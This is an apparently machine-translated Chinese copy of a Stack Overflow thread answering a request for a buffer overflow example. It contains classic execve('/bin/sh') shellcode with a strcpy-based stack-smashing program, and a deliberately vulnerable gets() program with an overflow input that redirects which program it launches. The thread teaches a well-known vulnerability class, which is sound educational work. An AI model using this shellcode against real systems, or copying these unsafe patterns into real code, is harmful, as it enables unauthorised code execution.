你能举个缓冲区溢出的例子吗?

6 c c++ security buffer-overflow

我听说过缓冲区溢出很多,并且相信我理解了这个问题,但我仍然没有看到一个说法的例子

char buffer[16];

//code that will over write that buffer and launch notepad.exe
Run Code Online (Sandbox Code Playgroud)

Jus*_*tin 14

"粉碎堆栈的乐趣和利润"是关于这个主题的最好的HowTo/FAQ.

见:http://insecure.org/stf/smashstack.html

这是一些实际shellcode的片段:

    char shellcode[] =
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    char large_string[128];

    void main() {
      char buffer[96];
      int i;
      long *long_ptr = (long *) large_string;

      for (i = 0; i < 32; i++)
        *(long_ptr + i) = (int) buffer;

      for (i = 0; i < strlen(shellcode); i++)
        large_string[i] = shellcode[i];

      strcpy(buffer,large_string);
}
Run Code Online (Sandbox Code Playgroud)


Vin*_*vic 5

有两个不同的东西:

  1. 溢出缓冲区的代码很容易做到,最有可能以分段错误结束.这是显示的:sprintf(缓冲区,"01234567890123456789");

  2. 放置由操作系统执行的覆盖内存代码的方法.这比仅仅溢出缓冲区更难,并且与程序的执行方式有关.它们通常从堆栈中获取下一条指令来执行,如果你设法通过覆盖内存来放入堆栈的下一个值而不会造成执行指针损坏(或任何其他类型的损坏),你可以创建一个漏洞利用.通常通过将下一个要读取的堆栈中的跳转指令放入包含代码的内存区域来完成.这就是为什么将内存部分标记为不可执行文件可以帮助抵御这些类型的攻击.


S.L*_*ott 5

首先,您需要一个可以启动其他程序的程序.exec以某种形式或其他形式执行OS的程序.这是高度操作系统和语言特定的.

其次,启动其他程序的程序必须从一些外部源读取到缓冲区.

第三,然后必须检查正在运行的程序 - 由编译器在内存中布局 - 以查看输入缓冲区和用于步骤1(启动其他程序)的其他变量是如何存在的.

第四,你必须编写一个实际超出缓冲区并设置其他变量的输入.

所以.第1部分和第2部分是一个在C中看起来像这样的程序.

#include <someOSstuff>
char buffer[16];
char *program_to_run= "something.exe";
void main( char *args[] ) {
    gets( buffer );
    exec( program_to_run );
}
Run Code Online (Sandbox Code Playgroud)

第3部分需要分析一下它们bufferprogram_to_run外观,但你会发现它可能只是

 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 s o m e t h i n g . e x e \x00
Run Code Online (Sandbox Code Playgroud)

第4部分,你的输入,然后必须

1234567890123456notepad.exe\x00
Run Code Online (Sandbox Code Playgroud)

所以它会填写buffer并写完program_to_run.

  • @meador:基于缓冲区溢出使程序调用OS API函数真的非常非常困难.很容易确定你没有执行数据(程序执行它,但很容易避免).如果你已经进行了`exec`调用,那么破坏现有的API调用要比编写一种新的API调用简单得多. (2认同)